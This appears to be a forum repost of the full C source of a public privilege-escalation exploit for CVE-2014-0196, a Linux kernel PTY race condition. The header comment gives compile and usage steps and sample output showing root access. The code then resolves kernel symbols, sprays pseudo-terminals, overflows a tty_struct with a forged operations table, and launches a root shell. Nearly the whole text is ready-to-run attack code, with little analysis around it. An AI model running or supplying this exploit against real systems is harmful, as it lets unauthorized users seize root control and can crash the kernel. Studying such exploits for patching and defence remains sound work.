2014-05-13 22:29:10

[zone]CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race * condition

zone:http://zone.wooyun.org/content/12261
/* 
* CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race 
* condition 
* 
* Slightly-less-than-POC privilege escalation exploit 
* For kernels >= v3.14-rc1 
* 
* Matthew Daley <mattd@bugfuzz.com> 
* 
* Usage: 
*   $ gcc cve-2014-0196-md.c -lutil -lpthread 
*   $ ./a.out 
*   [+] Resolving symbols 
*   [+] Resolved commit_creds: 0xffffffff81056694 
*   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7 
*   [+] Doing once-off allocations 
*   [+] Attempting to overflow into a tty_struct............... 
*   [+] Got it :) 
*   # id 
*   uid=0(root) gid=0(root) groups=0(root) 
* 
* WARNING: The overflow placement is still less-than-ideal; there is a 1/4 
* chance that the overflow will go off the end of a slab. This does not 
* necessarily lead to an immediate kernel crash, but you should be prepared 
* for the worst (i.e. kernel oopsing in a bad state). In theory this would be 
* avoidable by reading /proc/slabinfo on systems where it is still available 
* to unprivileged users. 
* 
* Caveat: The vulnerability should be exploitable all the way from 
* v2.6.31-rc3, however relevant changes to the TTY subsystem were made in 
* commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer 
* GFP_ATOMIC memory consumption") that make exploitation simpler, which this 
* exploit relies on. 
* 
* Thanks to Jon Oberheide for his help on exploitation technique. 
*/ 
#include <sys/stat.h> 
#include <sys/types.h> 
#include <fcntl.h> 
#include <pthread.h> 
#include <pty.h> 
#include <stdio.h> 
#include <string.h> 
#include <termios.h> 
#include <unistd.h> 
#define TTY_MAGIC 0x5401 
#define ONEOFF_ALLOCS 200 
#define RUN_ALLOCS    30 
struct device; 
struct tty_driver; 
struct tty_operations; 
typedef struct { 
  int counter; 
} atomic_t; 
struct kref { 
  atomic_t refcount; 
}; 
struct tty_struct_header { 
  int  magic; 
  struct kref kref; 
  struct device *dev; 
  struct tty_driver *driver; 
  const struct tty_operations *ops; 
} overwrite; 
typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred); 
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred); 
int master_fd, slave_fd; 
char buf[1024] = {0}; 
commit_creds_fn commit_creds; 
prepare_kernel_cred_fn prepare_kernel_cred; 
int payload(void) { 
  commit_creds(prepare_kernel_cred(0)); 
  return 0; 
} 
unsigned long get_symbol(char *target_name) { 
  FILE *f; 
  unsigned long addr; 
  char dummy; 
  char name[256]; 
  int ret = 0; 
  f = fopen("/proc/kallsyms", "r"); 
  if (f == NULL) 
    return 0; 
  while (ret != EOF) { 
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name); 
    if (ret == 0) { 
      fscanf(f, "%s\n", name); 
      continue; 
    } 
    if (!strcmp(name, target_name)) { 
      printf("[+] Resolved %s: %p\n", target_name, (void *)addr); 
      fclose(f); 
      return addr; 
    } 
  } 
  printf("[-] Couldn't resolve \"%s\"\n", name); 
  fclose(f); 
  return 0; 
} 
void *overwrite_thread_fn(void *p) { 
  write(slave_fd, buf, 511); 
  write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1)); 
  write(slave_fd, &overwrite, sizeof(overwrite)); 
} 
int main() { 
  char scratch[1024] = {0}; 
  void *tty_operations[64]; 
  int i, temp_fd_1, temp_fd_2; 
  for (i = 0; i < 64; ++i) 
    tty_operations[i] = payload; 
  overwrite.magic                 = TTY_MAGIC; 
  overwrite.kref.refcount.counter = 0x1337; 
  overwrite.dev                   = (struct device *)scratch; 
  overwrite.driver                = (struct tty_driver *)scratch; 
  overwrite.ops                   = (struct tty_operations *)tty_operations; 
  puts("[+] Resolving symbols"); 
  commit_creds = (commit_creds_fn)get_symbol("commit_creds"); 
  prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred"); 
  if (!commit_creds || !prepare_kernel_cred) 
    return 1; 
  puts("[+] Doing once-off allocations"); 
  for (i = 0; i < ONEOFF_ALLOCS; ++i) 
    if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) { 
      puts("[-] pty creation failed"); 
      return 1; 
    } 
  printf("[+] Attempting to overflow into a tty_struct..."); 
  fflush(stdout); 
  for (i = 0; ; ++i) { 
    struct termios t; 
    int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j; 
    pthread_t overwrite_thread; 
    if (!(i & 0xfff)) { 
      putchar('.'); 
      fflush(stdout); 
    } 
    if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) { 
      puts("\n[-] pty creation failed"); 
      return 1; 
    } 
    for (j = 0; j < RUN_ALLOCS; ++j) 
      if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) { 
        puts("\n[-] pty creation failed"); 
        return 1; 
      } 
    close(fds[RUN_ALLOCS / 2]); 
    close(fds2[RUN_ALLOCS / 2]); 
    write(slave_fd, buf, 1); 
    tcgetattr(master_fd, &t); 
    t.c_oflag &= ~OPOST; 
    t.c_lflag |= ECHO; 
    tcsetattr(master_fd, TCSANOW, &t); 
    if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) { 
      puts("\n[-] Overwrite thread creation failed"); 
      return 1; 
    } 
    write(master_fd, "A", 1); 
    pthread_join(overwrite_thread, NULL); 
    for (j = 0; j < RUN_ALLOCS; ++j) { 
      if (j == RUN_ALLOCS / 2) 
        continue; 
      ioctl(fds[j], 0xdeadbeef); 
      ioctl(fds2[j], 0xdeadbeef); 
      close(fds[j]); 
      close(fds2[j]); 
    } 
    ioctl(master_fd, 0xdeadbeef); 
    ioctl(slave_fd, 0xdeadbeef); 
    close(master_fd); 
    close(slave_fd); 
    if (!setresuid(0, 0, 0)) { 
      setresgid(0, 0, 0); 
      puts("\n[+] Got it :)"); 
      execl("/bin/bash", "/bin/bash", NULL); 
    } 
  } 
}
发表回复